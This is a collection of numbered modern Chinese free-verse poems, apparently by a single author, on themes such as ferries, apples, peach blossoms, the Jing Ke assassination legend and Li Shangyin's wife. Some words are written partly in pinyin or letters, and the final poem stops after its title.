去做简单的事情，仅仅如此， 如同巨大的哲理我不去揣测。 我只是想要找寻到刚才的那条小路， 再次的，随后将分离开来的语言和雨水 是否能有些挽回的余地。 而不能承受，重的。 世界前进的方向突入进了寂静里面， 它没有再离开， 我的心灵无法想象的矛盾着， 像一种转嫁，但再次可以寻找到的 世界与形式，是困难的。 渡口760 《渡口》 一个囚徒，还没有结束他那曾经如此漫长 刑期里面的， 虚妄的话语，墙壁的冰冷。他所曾经以心门 回去过的一次最初的语言。 一切如梦境而如今谁又能说不是呢。 谁会对一个下了船，自言自语的人 他有着试图将一船的人儿都作势癫狂里面反复着 他们与存在和生活有关的人格。 而如同出逃一般的这一次，先是人群 熙熙攘攘的老人，孩子，少女和情侣 有着不同的走路，急匆匆赶路的姿势， 上了岸。而后是自行车，掉漆的三轮车， 摩托车。它们终从一个角落里面的幽暗 解脱了出来。而一个人的恬躁不过是其中之一分， 他在自身里面所鼓动起来的如江面上的风帆 船头冒着黑烟，汽笛声更是刺耳轰鸣。 认定那是一种判别，夹杂在 江面上不同的船只和乘客人纷纷向外张望的目光里面。 譬如761 《譬如》 譬如，草梦想于一面镜子一般 使得从天空垂降，那义无反顾的光芒 又会在纷纷破碎如同文字和语言那里， 相比而言才有了如此广阔的范围。 而痛苦本身并不止步于人类不欢愉的感受。 在自身的重复里面，它关上了一扇门。 它多么渴望，一扇扇，一片又一片 只要山风起了，从山巅开始吹拂， 旅途的终点确定下来之后，又并非 屈从于命运一般。这人类的供词不会 让它在中途减弱，而它依然是怜悯之物。 起步阶段的光芒，从门缝狭长的视野里面， 跑过的一匹马。拖着疑问必然失败。 这风声鹤唳里面的山坡， 是谁才能够平衡它比喻和想象之间的事物。 包括那死亡，生机，人们徒手的挖掘和寻找 而随着晌午来临，气温一点一点的升高。 傍晚762 《傍晚》 坠落的时分， 又是见到了太阳。 问问它，它是否平安无事 趴在西山上静静的看我， 我是否是芸芸众生里面农民羞涩的 修辞之一。 而我空洞的皮囊， 从清晨到落日，我那美好， 落日余晖所包含的溢美之词里面， 时常因为劳作的疲惫而充满了恶意和危险。 而众生见你， 你，一个眼睛因为另一个人类一般的 盲目而变得愈加刺眼。 众生被你分解，一个一个， 我所遇见的，在过去该是多么的顽固不化。 难不成，一切扭转的历史由发生性的突然组成？ 历史没有消逝，历史在夜晚复现 又与每一个人都息息相关。他们的 父辈，家族和祖先， 一一由贪婪与盲目而来，所被聚拢起来。 而一切的扭转在于静默， 又无法在问询之中，我们的回答 总是别的，赞美在于落于空处 这，需要我们苦思冥想的那一部分。 落日763 《落日》 落日大盛， 只会投影在我刚刚的所思所想。 而这些事物我连名字都没有 给它们永驻的地位。在流水的边上 又因为太过于短暂和繁多， 涉及到的道德问题，一直都存在， 像纸窗，星宿。诗人说过的所有的话语。 而复活者每一次的通过诗歌与我们所进行的 对话，我却无法去到天南海北， 而那些事物实则只是远离与彷徨 在于别处，当它们因为一阵想象的风声 身体就变得轻了起来，漂浮了起来 随后它们会发现诗歌里面的婵罔， 一切如真与一切为假缠绕的如此的紧密。 石桥764 《石桥》 我听到了石桥的声音， 而流水因此错误，它做梦。 因为它那躲避不开的距离上面， 布满了叩问。在白天的浣女一般 洗衣裳里稀释了自己。 而这给了我一个考古者的身份， 那些古老平衡的术语， 像一个坚固的东西免不了要从坚信， 一点点的在历史腐x里面衰bai。 而人们之中所推选出来的泥瓦匠人， 他只是注意于屋舍之崭新，翻新粉白的院墙。 如果我一无所获，要那些流水潺潺又有何用？ 我又不会在一阵幸福的掌声里面离开 再也会回来。事实上它们那等待会持续很久， 在新时代的诗歌之中，来回的摆动，回荡。 而波纹已经是我第二次推开来了的事物了。 这证明了问题的困难在于纠缠不清， 我不会妥协，不会放弃，看似简单的从高处 走下来，走到了石桥上面 让我的遗忘和思都一一垂了下来。 如果交给了我的回忆，因为我曾经知道那 是什么端居于平衡术的两端。 马匹765 指L为马，善变的马匹绿肥中红瘦相间。 早已习惯人类社会生活的，一匹马 如何才能不被说出，它那喘息如何才能 向着原始社会，和突兀之后荒凉的田野。 而人自问自答的形式 因此下降的更深了。周围的事物 随着暮色日渐隐约，幽深的布景因为白天的观看， 我们的心灵知道，任何的黑 都是白的，众多的事物，有的归顺， 安心睡眠者寥寥无几，而前半夜夏日里的炎热一般。 一匹马倒不如是，只有一匹马知道。 一匹马奔腾向它自己的死亡， 只是为了在人类的小小嘴唇上面 如同树杈，现实社会里面的原始性 或者活着本身，而它被一再的糟ta， 由我所确认开来的这一切。 苹果765 《苹果》 平果远离我，我从一个苹果中出逃。 失忆了一般，进入到别的事物当中。 对于我人类的身份， 没有一个苹果提出过质疑。 我曾经用牙齿和咀嚼来陷害，使它们 害怕了，秋天成熟之后的性格 又继续的走了一段路程。 而一切的不幸与悲哀，总都是有一个 共同的大前提，并且以对话和攀谈的形式 彼此慢慢的统一起来。 任何的青涩果子都只是一件事情的中途， 从牢固不破里面才诞生了果农， 头戴草帽，身体佝偻，黝黑 早晨离开了家门，每一次重新的出现都是 与黎明的割裂，和新生儿的意思。 说实话，谁不想呢， 果园让我们如同享受到了庙堂一般的尊贵地位 更有甚者，一个苹果，表面泛着 平平安安的淡淡光泽。 在室内被它面对的那一个，时常犹如皇d 一般自我称呼。 我们的痛苦是全人类彼此呼应和共鸣的颤抖 唯一的例外只是在肉的 与牙齿的咀嚼厌倦里面， 第一次只留下了浅浅的咬痕。而明月锁深宫， 出逃者在史书里面的小吏和w子之间摇晃， 我顿时觉得桌子上面的历史 与苹果和梨子，橘子们都密切相关 含混而错乱但历史的繁多， 那饮食的历史漫长而又隐秘， 作为一个新的线索， 曾经在被人们以新大陆式的提起的时候， 它也还是新的。那唯一的苹果 被出逃者所耽误，它所等待是别的 或者历史的空会持续那么一阵子。 苹果766 《苹果2》 一瞬间， 因为我，苹果就有了那么多的事情。 苹果出逃，有罪，红而泛青 仿佛矛盾于孕育的少女。 让一个苹果尽量少的去见识， 攀爬上枝头的另一种形式， 太过于原始，使得语言的嘴巴和牙齿都 紧闭。而流水在远处，对于枝头所造成的 影子，在人们看来是一次次的扑空。 那些不可理喻的水流不在于放弃， 早晨的时候与枝头同样荫绿，恍然之间 也不会顾及到我的存在之在于刹那的感觉。 而苹果的命运，何至于相思的儿女情长 一盏油灯和窗户的破旧 不会把我塑造成一个十恶不赦的人类， 又在二层小楼的第二层以咀嚼的方式， 不发一言。我尽量只是看一眼苹果， 在最为微小的短暂里面， 苹果所遗留，而更为长久的它可能也去到了别处。 而使得它对自己的静止负责， 意味着咀嚼不会发生， 这脆弱的现实处境， 使得我们的具体一次次的在咀嚼里面 以声音从牙齿里面的形式，破开了一个又一个的 苹果和秋天，从众多的普遍性里面也有偶然， 它跌落的形式， 我只是看到了它最后的平安， 在桌子上面巨大的暗示性。 刺秦767 《ci秦》 在第一份Z折，催促着火焰 也只有在随后矛盾着的事物 当它被火焰所催促着，又本能的将注意力 投向了处理与调节所真正需要关注的。 而那也不是d堂上面高处，古老的历史之中 一支因鲜活与真实而得来。仿佛叹息一般 也不是高处与低处的自然对比， 并且攀登是不被允许的。 是隐秘的，原因和结果。 而如果那一个端坐者始终是同一个 他的年轻连接着他的功成名就而不需要 记忆来支撑。 南方的水情加剧， 几千亩田地遭到洪水的淹没， 屋舍倒塌不计其数，人群流离失所者 众多。而我们愿意以历史之后来者的身份， 从那些伸出来的痛苦的舌头上面 抵近，即使这使得荆轲刺秦王的事实 始终受着质疑和冷漠态度的袭扰。 遗忘768 《遗忘》 遗忘的不断产生，记忆是困难的一件事。 相比于好奇与天真，执着一般在眼睛里面 充满闪烁着勇气的光辉。 而它们因此停顿的时间更久， 仿佛往一片湖泊投下了石头。 而且我们是急行军的后代，当他们 也曾经路过这一片水域，迈着整齐划一的步伐， 喘息粗气，嗓音嘹亮。 这些细微的事物里面， 包含了我们，我们又将未来 在过去之中放置。 我们也调查一件事情与另一件事事情， 毫不相干，只是出于转头的需要。 遗忘与战争的起源 都在纸张上面浮现。 现实的处境反而被排除， 像是将鲜活唯留给了我们自己。 纸张769 《纸张》 纸张如同宽广的土地， 它狭窄的部分，如同海岬或者斜坡 在自身之内往回赶是困难的， 而被弃之不顾的言语所造成 无暇顾及的疑问，历史的悬案一般。 通过书写，同时在没有任何事情发生的结果 上面，削去了土地和纸张的一层。 而被随意摆放在一边的圆珠笔 为新的工作而蓄力。在它此刻静止的时刻， 从此刻作为一个起点的往前， 是否我们有理由相信， 在现实与虚幻之间，它们的紧密联系 足以打破彼此之间根本性的界限。 而采纳来自于生活， 奋力者劳作之后在某一间 屋舍里面所点亮灯火起来。 他摊开了另一个， 对于足够的考察而言， 以及身体疲惫所造成的预料不及， 而勇敢者总是坦然，渴望休息 书写的部分所给定的参照物，以及 向标。随后是那刻度上面被给定 却看起来如此凌乱不堪的 现实与非现实的事物交织在一起了。 刺秦770 《ci秦》 如果他要的是一把有毒的匕首。 如同热爱舞蹈一般， 看完你卷的小心翼翼的地图，和详细， 而带有蛊惑性质的y讲。 有那么一瞬间，你把他当成了什么人。 高高在上的秦王， 心灵距离产生了短暂的晕眩。 这个男人在自称荆轲之前， 越来越热爱他的故乡，土地，妻子和 族人。他已经如此坚强，很少判断失误。 但他的默不作声让你压力倍增，他认真倾听， 下到了地图上面每一条河流，每一个村庄。 他直接跳到了语言的底部来审视你， 是想要推翻一个人对于自己判断和决然的 全部的胜利只有通过失败而来。 而同样的一个命盘，纤细的线穿透了 两个地位悬殊的人。有着让一切 可能重新开始的可能性。新的和旧山河 又是两个恋旧之人。荆轲刺秦 不过是历史中的虚妄一场， 我们的真实如此的需要着它， 它靠近我们的烛窗， 不是高台明镜的时候，马车一路走着 沿着被规定的命运向初冬的深处。 刺客771 《刺客》 纸张的形象， 展示了书写有多么的宽广。 你拿来一杯酒，他不会饮用 而他那被考察的拒绝因此引起了 一阵一阵轻微的颤抖， 难道不也是有着你自身居安思危一般的 可能性。 而纸如渊，犹如人类这个群体的广阔 之中那些极其微小，容易被淹没的部分。 那形象具体，几乎将自己与蜡烛和豆粒 融为了一体并在随后告知以虚妄 ：历史的发生在于转瞬和随即。 呵，他不饮用，你就自己推杯置盏。 生活之中和田野上的任何事物， 事实上都在一点一点的消磨着你的良心。 历史已经来不及了的日子， 我见到了你，一个初冬寒风凛冽的早晨 在问询与告知之间没有别的其他命运， 而宿命论再一次被你提起， 一个勇敢之人的小心翼翼， 看起来多么的美丽。 是谁772 《是谁》 是谁，把那与时间所进行的一场场交易 轮到我了，而不是别人。 无形的总想用手儿来抓住和持握， 生命这隐隐约约的陈词，有着石头一般 顽固不化。它尽管已经有微小的一部分脱落 就像被暮色里面树木的阴影所遮盖住， 如今是人类行走的躯体， 给石头提供了躲避阳光的阴凉。 而人们也只是渴望在炎炎夏日投身树荫， 即使天气已经脱离开来了晌午与下午， 它那一道傍晚初开的光芒。它自身 在语言里面与人类的彼此照亮。 而人的行动如同盛放着水而摇晃的玻璃杯， 他也会有新的解释，其他的属于尚未被处理的 繁多。而结果终将指向失败之后的坦然， 这一个群体之中所闲言碎语，交头接耳 其中包括着单个个体，地面上的石头以何种方式 进入其中，犹如从来都未曾，或者正准备夺门而出呢。 果子773 《果子》 说我是人类吧， 我的这一个名字，它所代表 在土地，果木，秋天，上一个夏天之间， 所发生的也可以是出于人类 缅怀的追忆。 我所作出的尝试在失败里面幸福着。 而这即使对于我自己来说， 也如同是一个巨大的因果，锁链一般 让我深陷，没有完成的缠绕 并不会代替因为它那自身的， 在整体之中尚未被完成的而语言 同样如同水流，从它们自身 那群山雾蒙蒙的源头，从清亮纤细的 小溪一点点变得宽阔。 夏日里面的浓荫轮回一般， 土地，果木，秋天 这是需要我去调整和不断以劳作而来的一切， 如今是沉睡的时刻，已经被暗示和隐喻 它那因果的部分， 是它那结果的部分还没有到来的， 一切都一一符合自然运行的刻板哲理。 雨季774 《雨季》 大面积的雨季， 以及你梦里面，你所梦到的 一切如同雨水。 也只能如此，你一定面对了什么 让你感到难堪和难以承受的事情， 你失语，表情的凌乱已经暴露了一切。 雨季泛滥，一十三省。 没有任何因为语言添加而陷落的人儿， 保留她为数不多的清脆与鸣笛， 可以变作了你。而珍重于相隔开来 如同雨水一般的， 再次进行的斟酌。以及在困难里面 不顾及你那绯红的脸颊， 询问起了你的心事。 三月的桃花775 《三月的桃花》 桃花往三月去了， 她并没有绝情到只在心意凉凉上面， 留下一个空址。而她远去的形象 因此在事后被回想和记忆。 作为调停的法庭， 桃花所见仍旧是一片自己， 正是有一片迷离，如雾气蒸腾的湖面 望着自己。必然将陷入情和爱之间 在黑夜与白天，和孕育与青春的罗盘。 她所制造的困难大可以丢给别人， 而事实上只需要一阵风声， 太过美丽的桃花就会漫山遍野， 尽是她那些同样美丽的姐妹。 如果登山者不能成为你的情郎， 他所受的煎熬是另外的一种， 而你的夜夜情谊一般的书信来往 又有何用。你介绍一个，他就会在第二天里 再次的遗忘。像某种轮回 你所抚慰，有时候你做着别的事情， 只是非常偶然的才想起了自己 出逃的前一个夜晚。 桃三杏四776 《桃三杏四》 桃三杏四，如同亲戚。 太过于紧密而推开了彼此。 而故事一般只能找到的情节 发展和延续里面却缘何以人类的 情绪作为了标准呢。 青葱，嫩绿。大部分时间 它们因为人类而不得不自我生活在了 断崖或者洪水猛兽一般的误解里面。 那是一些消散的很慢的事物， 在采摘的季节将再次浮现，并重新的 为了正确而自我表述。 因此，一个天平或者对象， 总是有着它们各自的两端和对立物。 否则，空置发生之前而放置于其上的 是存在本身。并且会在收获里面 引起一阵阵的担忧，我们的饮食也会变得不安全。 只有少数人拥有着这种 可称之为异端或者隶属一个旧时代物品的 老旧的观念。 并且因为他不能脱下自身，以当代所w装了的 自己。或者他是一个瘸子， 不能走夜路。说一些夜晚里面有所启示， 孤独的话语。 桃花谣777 《桃花谣》 时间久了， 就请你亲吻我。 桃花容易在日子里面变得无辜， 无辜接着又不耐烦。一切仿佛 对于她而言的陌生， 除开了她之外的一切， 都知道红的伪装，都是语言。 我可不可以说，而缺少定断的勇气呢。 那些闲言碎语都是为了伪装的揭露而言语。 但语言的小舟只是从岸边， 被众人合力抬到了水面。 就破开了，解体了。一天里面 一哄而散的人们依然欣喜不已， 而当它一个偶然之间的破碎和 语言的某一次神力一般的失效性的 自我的讲述与曝光。 众人群正面对着初夏里面的另外的一株 这些成熟的桃树在原始里面， 是如何的迷乱了众生，她们那自我的叹息 也经不起自己的美丽。 镇子778 《镇子》 我唯一不能够去脱离开来。 同时又偶然会被怜悯与仁义， 层层的将我包裹起来的教诲。 声音的源头找不到，这 是一个只是茫然站立者的疲惫。 他怀疑在盖上了盖子的水缸里面， 已经看到了自己的命运。 他盖上了盖子，试着回想刚刚所想。 而所知道的分开，也是源自于 记忆与流逝。 而在于快中，那些被以转瞬即逝所着称的 事物，使人的命运一阵阵的胆战心惊。 山中779 《山中》 一个人如此空幻，犹如 在跟着他自己对弈。 在失败里面，他即将看到自己的过去 所没有看到过的。 而他的躲避因此任何一点点的微小， 都牵一发而动全身。 而如同在雨水里面，全身湿透 背着谷物忘记了带伞的人。 他为他自己所树立的界限， 他已经无瑕于顾及， 对象那些所求以人类良心所可能的 施舍，并且在最为低微的程度上面 颤抖着。而这也恍惚为群山和万物 立法，作为一个事件，以及它普遍性之归属之中 那些有别于其他而在人们的觥筹交错之间 如此轻易的被忽视掉了。 没有什么能比得过一个倾听远去者的静物， 像它所裸露着的为姿状， 而临水如镜。人与物一时间， 各有了心事。 李商隐的妻子780 《李商隐的妻子》 北上洛阳李商隐的那马车一匹 融合了车辆与马匹， 在木头与马匹的共同之间衰老 而只有他善良的妻子可以拯救。 我一说远水解近渴， 一路上陌生的异乡人跟路边的店家 就纷纷取笑如明日里面天气中徒增了 又一抹抹的霞光。 我忽然想起了，你那诗歌之外 路线的偏离与诡异。而歌者的诗篇 始终不可解，它那有所终止的尽头。 边界是钟爱诗歌的马匹， 锦缎蒙住了双眼。 从大巴山开始就一直在雨里面， 在夜里面苦昼短。你那妻子，结婚不久 就开始学习那凭窗远眺的生死法。 山之茶781 《山之茶》 在山中，雨水孤立 将一个撞钟的故事制造。 山中的农夫有着奇怪的逻辑 他怀抱，度过一生。 山中，雨水早已经被咬断 今夜，或者多么自由的下一个 今夜，以及那流水的归处。 而因此一并所出者， 又是要与谁讲述那，语言的 愈发神秘形状呢 ：它有时候是水， 才得以去到了山脚下的镇子。 有时候春风里面藏起了蝉鸣， 过早的丢失了自己裤子的人们，也只是 这一些就好了。好了吧。 纸中782 《纸中》 纸中所记录的东西， 位于之前那一段历史的陈旧之处。 会因为轻轻的触碰而掉落出来， 像活过来了。还有那个一直在河对岸的 书籍。它在自身模糊的形象里面存在着 \/ 我们为了自己所铺设， 这一条回家的路。我们多么私心。 我正好闲来无事，听你说着。 \/ 那些孤月下面飞过的夜鸟， 在现实与梦幻间冲撞着，前进着。 组成了它们自身的命运， 屈从于人类的口训，从黑暗里面 陡然而出。 妻子783 《妻子》 不能靠近你， 让我在这些对你的亲吻之中 回到了过去的那一次迷乱。 那么，你再也不能问出什么， 而路过的每一辆马车， 都会在我们的眼睛里面重复。 接着，马失前蹄那命运一般 因为人命关天的程度下降到了它 最小的那一部分：礼让行人 而毫无征兆的跌落进了雾气的深渊。 而前方依然是一片呼唤着我， 并且因此使得我一生平庸的袒途。 借此，我看清了你红烛的脸庞 那些不可多得的灯火， 每到夜里就会是同一盏， 因为有人在追逐而不断的在各处闪现。 树叶784 《树叶》 时间总是要以山峦那固定不变所揣测的形式。 和安全感觉，在于你的言说 一次次的袭来。如此形象，而一切皆空 令人有着面对于景物而担忧起来的景象。 这样被说出者，从一张缓慢张开的 嘴唇，有着模仿向杜撰一劳永逸的企图。 但这是一个普遍的现象，叶子落满地面。 你行走因为你停不下来而， 良辰美景被隐去了。叶子在叶子上面叠加，除开， 同在一个名称里面，被窗户里面的人看见。 它们那些转入幽林处，是要以语言的失败 而在这一些彼此都无辜的间接性上面， 语言的风暴在于不能而达观于自身却更加的困难， 我只能以树叶的形式找到其中极为微小的真实， 和鲜活的。 后者像话语，尽管有着拯救性所带来的踟蹰 或者不理睬，它在空中飞舞的部分穿越了人类的 一整个文明史。 窗户785 《窗户》 窗户开着，就将今生所需要以 虚度的转嫁给它。 而我的顿时间的轻盈，推开了窗户 景色还没有精力来顾及， 一些与我一样平常的事物， 因为多与少的数量差别。而 窗户犹如一个平面， 在二维空间的易戳破， 而它已经因为心灰意冷，所谈起的 爱情以灰暗的颜色，所需要逃避， 犹如成了傍晚另一个毫不相干的秘密。 徒生的水786 《徒生的水》 徒生的水拥有了很多的姿状， 也只是短暂。 它在被我抓住的时候滚烫， 而这些变化所具有的，曾在我们的 身边多次的袭扰。流水形式于屋舍， 那么。屋舍又是之为 我将你等待漫长里面的何呢。 甚至，我想了一个颠倒的办法。 晦暗的结果使我动身于无法接受， 这新的开始如果我悄悄，把它 潜藏于季节里面的生长 又会产生什么样子的结果。 今天，我想与你相看两不厌， 这属于一气呵成，它积累的部分 在你的身上。也只是话语的形式一变。 对于一个粗人，是沉默。 那么，谁又能知道呢。 我可以对所有的猜疑不予理睬， 爱的秘密。 水中787 《水中》 水中还月而不可。但我深知道你的脾气， 我可以为什么都不说而免受那， 一个具体的责罚而装裱起来。 仿佛我正是在空洞的大厅，它荡漾着 不多不少的波纹。而所制造的矛盾， 有哪一次不是归因于人呢。 有时候时间一紧，暮色将至 你这个调查者就需要无可奈何的 将一肚子的闷气都咽下去，呵，推门 则世界大观。你这肇事者之身体，为语言的 丰富所布陈。一时之间， 我为眼前事物而恍惚不安起来， 事情依然没有结束，并且以雷鸣一般 直到在我的脑海里面衰弱为慵懒的却借此永恒。 果园788 《果园》 对于时间流逝里面所透露出来的， 偶然的角度。当今天以昨天的形式 而不可言说，归结。像是我们所做的 一切，其中所依然包含着的热情。 而在一阵阵没有规律的凌乱之中， 我们的言语仿佛也失去了它往日的效力。 在今天，这一切都焕然一新。 最好的词语是新生，伴着遗忘， 但并不存在恍然的样子。那些 人类的嘴唇本能的热爱红色樱桃。 即将面临的事物使得我们成为了一个整体， 并且在接下来要做的事情当中， 我们将对于过去所需要的追思和回忆。 每当它们被以某种方式逼迫到了某一个角落， 它那转身的回返的样子，如同所有语言 在言说上面所带有的轻视。 傍晚789 《傍晚》 如果我能放松下来，趁着日暮 里面迟疑，照射着的那自我的不自信 和相信的油然而生的企图。一次次的 而非一次。从山岭，下到它倾斜的另一侧， 从果园穿过，回到自己的身体，一言不发。 形式之美的全然的自由，微风轻轻拂过去了 它是我那邻居。如果我希望它来代表， 一切。而它们的样子从各自之中剥离开来的单薄 身体的徒有了其形。并且在日暮十分的乡间 回荡着它们的声音。在另一边，仿佛我的思绪 依然以贫乏使得我惭愧不已。那些具体的形象 之中，有一些已经在慢慢的远去，在黑与白 或者投身向某一种对立。而爱意的部分， 对于一个人而言，是在添加了另外的一笔 形象如同古老。 同桌的你790 《同桌的你》 傍晚， 夹在枫叶和院墙之间， 是一封信。 傍晚的难以言喻， 而因为太过周转不灵的结果 早就已经以了那水的形式。 而且，滋生。 这只消一停顿， 信件便落入了人家。 在日暮西山时候， 我模仿着你的形式， 又因为斯人已去，太过美丽 有着难以避免的命运。 我所考量的东西生发于此， 我却被落入西山的太阳， 所袭扰。 盛夏791 《盛夏》 其实，在盛夏 我们就已经下到了语言的深处。 并且让原因悬置，造就了 爱意的风，它兀自吹动。又与阴凉 隔绝。在更大的梦的可能性里面， 语言因为无法脱离开来闲言碎语， 而爱意的更深只是水中镜。 原因般的，太阳分明就是那一个 和另外的一个。而因为这样。出于 语言的善变，太阳在分水岭一般高低起伏 的曲线上面所滑动出来的，美与静物的矛盾。 昌耀792 《昌耀》 生命在诗的歌子里面 所以着它那往前迈出的形式， 一步。又在诗歌所给予了那 生命的返还。而饮酒与豆者，或者 大西北者，他心里面柔软如水的湖南。 我所重视的是远的形式，并且在距离上面 的停留。相对于那一个的，久居所拥有。 而其他，每当一些思索在一个陌生人， 或者别的，他那愈发年轻的心扉，有着 从豆粒走向稻田的错觉。 宜昌小镇793 《宜昌小镇》 在大地上， 有山川湖泊和别的，什么 其他的。使你在下一天里 露出踟蹰的样子， 因为未曾得以见过而迟疑，似犯愁。 而在短暂的对话与交流 因为面临着共同的结果而 在得出之后离开和走失掉。 你感觉，比如人这一个话题 仿佛可以轻易的就联想到，那些 热锅上的蚂蚁。或者，因为放在了 一个狭小容身，而倍感身不由己的自己。 也都是在山的另一边存在 而一切起因于，难道不正是对于思索，我们 过度的依赖了吗。我还对你造成了二次伤害。 是否就可以让第一次，那也是因我而起， 被抚平，掩盖呢。 而在于声音里面，你且因为缓慢仿佛 确实一直是在自我挽救。 它言语着的形状，并且在解释之外 同样坚固。为不耐烦于所有的语言而 反过来去袭扰了对方。分分钟不同于你， 双手扛起木头来，身体里面的语言 涉及到了一切你触及过，而如今看来 是之前没说过。 博尔赫斯的祖先794 《博尔赫斯的祖先》 他们的习惯，纪律和焦虑——— 重复说的时候，他们并非孤身一人。 而那些以证者之所以可说出， 并且在黑夜里面让我们踟蹰。 来来回回，倒不如闲坐，并且视 语言如梦。而且只是简单到了 对于一切困难的鄙视和轻视。 人是祸心所藏着，他自我良善， 与馒头相互对立。距离之上的距离 如果反过来下行，则为土地，由纸张 所（以眷恋的形式和方式）书写。 而布景因此增添，增添它与那删减所 同一个意思的意思。暮色垂坐而几番劳累 远离我，因此是他最大的心愿了。 石头后面795 《石头后面》 我失败了，投降了。 犹如把同一个词语说了两遍， 并且借着石头的阴影 每当它那残缺还没有因为与月亮 之光的混淆，而让一切都凌乱不堪。 而将至于宁静。覆盖，和石头后面 比所有无生命事物都要清醒的人影。 第一次，同样这在明证之中， 如果幸福在被长久的思索和考验之后 而我们时常的短暂在于又总是在它那 短暂之中的回忆。而它，分明才是一个 回忆，在新鲜与重复之间。进而 新的一天在它们二者之间纠缠。 为一切所不能够的时候，为了防止失败 确确实实的发生。我们也可以再热心的 添缀上人不得不以存在的形式。 犹如在委曲求全的话语里面，一切 世界之物都有了失败的本质。 在目光与对象的交汇，杂草淹没旧年 马蹄。追逐文字。躲到石头后面， 我发现了，并且在遗失所涉及的 犹如断崖那般，那里放松下来。 雨季796 《雨季》 事实上，类似于从过去出发。过去，它的色彩可以是 匆忙的。杜撰的，因为在未来所掌握的权利， 以及人类自身的善变总在于从永恒之中发生。 过去的悬疑愈发的大了，而未来则可以 相应的，视之为静物。为了保留二者的 休戚与共关系而维持一种长久静止，并且使得顽固不化 在于自身之中发生。那事物分明是被一双手掌的摸到。被目光的看到，从耳朵旁边以没有声音的方式 溜了过去，试图制造一些不大不小的谜团，试图让一个百无聊赖的人儿，推责于思的时候， 有迹可循，有证据，可以在虚空里面得到他想要的回应。 而一个人的心灵因此因小失大，处于了一种突然的恍然。 此时的他，语言的他，乃至于你的他，因为不可分离 而最终雨水之中被彼此隔了开来。使他， 成为渴望去因为微末而寻找你的那一个。 而我愿意遵循侥幸，一切与之呼应皆是L史之中 微不足道的事物和群体。如同， 爱意一直都是向着解释的嘴唇，但原因 却河流的支流而言，从属更多。 我看到了未来尚且浅薄的颜色， 避开那未来早已经发生的一个，同样也是 不会坠入过去如再次听人对命运消沉的诉说。 而重复之中毫无爱意可言， 在雨水之中，所被分离也有它们的归处， 仍旧存在于世界被无限拉高，它形象于语言的虚假的山巅。 鸟儿797 《鸟儿》 看一只大鸟的姿态，大鸟的一生 都存在于语言。看守旧一派的大鸟 有时候会趁着无人，脱下了伪装。 因为有可能性的而看，看是看吧。 所以，看是看吧，看那些看自身里面 所存在和事先就有之，劳累与疲倦。 这有时候并不总是同一个。在被叫出名字 的时候，又会在大鸟的扑腾中，沦落为 四下分散的形象。而因此反而更加的暗暗 符合了我们所追求的，心中所想的。 如果有一种事物可以让我们推开我们想要的， 那大鸟曾因为人的追寻与争取而飞走，那时候 而只是看，只为了保持住那看。与如今不相同。 河流798 《河流》 还有什么，呵。 还没有的那什么，以踟蹰，没有到来的形象。 而水同样。一端和另外的一端， 如今是平衡的水，才有时间去倾听 用爱意和清澈来描述。古代，过去与现在的互相 交融，听够了的水会去到了那里， 第一次听闻的新鲜的水正一点点的变得浑浊。 水有时候不得不面临人之所需，你知道， 你神藏起来的绝对不可能是水， 最多，你从一条河流边上走过， 这样的次数很多，你给了那水那么多的机会。 傍晚799 《傍晚》 世界因有所剩余， 而虚弱的怪罪着。 在门外，它能听到我的呼吸， 我凌乱所导致的 在傍晚从屋子里面因为思索而延伸。 无形走的远比我所想要远， 这乃至于是一种娟狂。莽夫和文人 青梅里便有了突然暴起不幸的刺客。 如此凌乱的一个夜晚， 试问，谁的呼吸不带着同情的紊乱。 为自成因果的脱罪而努力， 而只需要再等上一会。 门外那敲门的声音， 一颗愤怒的世界所化作的心灵 就会接着在夏虫和池水里再一次经历良宵。 事物有着它们相应于繁多， 仿佛它们真的是庸庸碌碌一般的 在脑海中，认同于人们对它们如此粗糙的 恍然一瞥。 由此，惊异的浣女再也无法引起我们 过多的遐思。暮色里迈开守旧的步伐前进， 到来。在一气呵成里面，告知了我 现在如何的情形。 傍晚的你我800 《傍晚的你我》 我活着，存在 我扮演我的影子。 我在你的语言之中占据了一席之地 一部分的语言因此被生命代替 今天可能是我，明天这个结果 有可能就会从树上的高枝滑轮 而我转过头来问你，在第二天 也都是出于时间的不同。 所以我希望能够受到你的寄托， 你也希望我活的自在，从容 一切生发自从真心，令我们费解的 事情就会徒留一个永恒，待解之谜 一般的外表：那些流逝的水 如果不通过语言，那么 任何的联系都只是如同在悬崖 和峭壁上面之所见。 如果此刻夕阳西照，暮色美丽 正在生长，它来的迟，对于它自身而言。 桃花801 《桃花》 语言把声音和嘴唇， 在说出时候还可更加美妙的融合起来。 因此，说出的桃花一路向下， 配合着我，所见枝头繁茂的景象。 而我没有做过的事情是探测春天的远 我无意之间，时常会被别的事情所占据 才好在饮食和品尝里面坦然的回来见你。 终于一身酒味，穿过小径与桃花林， 我没有忘记，还要在池塘边上提一桶水 推开木门，走进院子里。 我在路上，思索此刻跟天长地久什么关系。 因为人的说出，我找不到，如果 以大地所代表天平，那上面奇思幻想的 事物，不正是一株桃花么。 推门见你无限感激。夜夜如此，日日如此 我还要在充裕的时间里面， 向你把酿酒的想法提起。 一座座802 《一座座》 你不断的穿行在同一座山里， 一座山就可代替一座座山。 日月危险，它们的光辉 就斜挂遗忘的高枝， 以装饰着人们的窗台？ 而你一句轻言所包含平安的讯息， 又因为微小的一点点而又准备上路。 为制造了矛盾的事物，包括了我们 和山川。这往往停留在于思索 之后，所以为和以咎由自取的认定。 我们的道德意识， 如同因此才被空余出来 被凸显的事物即使沉默， 以及那美感的，因被审视， 而随后会被提起。 我想着这如同流水一般的连续性 的锁链。轻易的不可招惹 而放任其流淌。直到时至今日， 事情反转它在自身的丰沛里面 突然觉得厌倦，敲开我们的房门。 渡江803 《渡江》 桃花渡江去了， 她在信纸上面所涉及的自己 比现实中的那一困倦的还要远些。 她已经认定我是她的旧相识了， 在遗忘与可惜之间， 日日让我忍受单相思之苦，凭窗远眺。 她劝我，夜蝶只是路过，便不要杀生。 而ji.eG而起者最终会落得了什么下场 我也知道，而今这个事情依然没有结束。 那门前新栽种的杨柳却已饱含了热泪， 在进入寺门之前，示人以抒情的面貌。 这世界上的矛盾，通过我 不过只是又多了一个痴男怨女罢。 我跟它说了几遍梁山几遍水浒，它都无觉。 用李逵K吓它，用景阳冈的陈年老酒hu.iL它 接着说我从山东好不容易坐车过来， 绿皮火车一路轰隆隆，它都一声不响。 确实，这点考验实在是不值一提， 精深的禅意又使我避免了被它取笑的命运。 如此脆弱的一个人所谈及的良心里面， 尽是空幻的爱意，而我又被你入夜时分的 情谊所拯救了。 无题804 《无题》 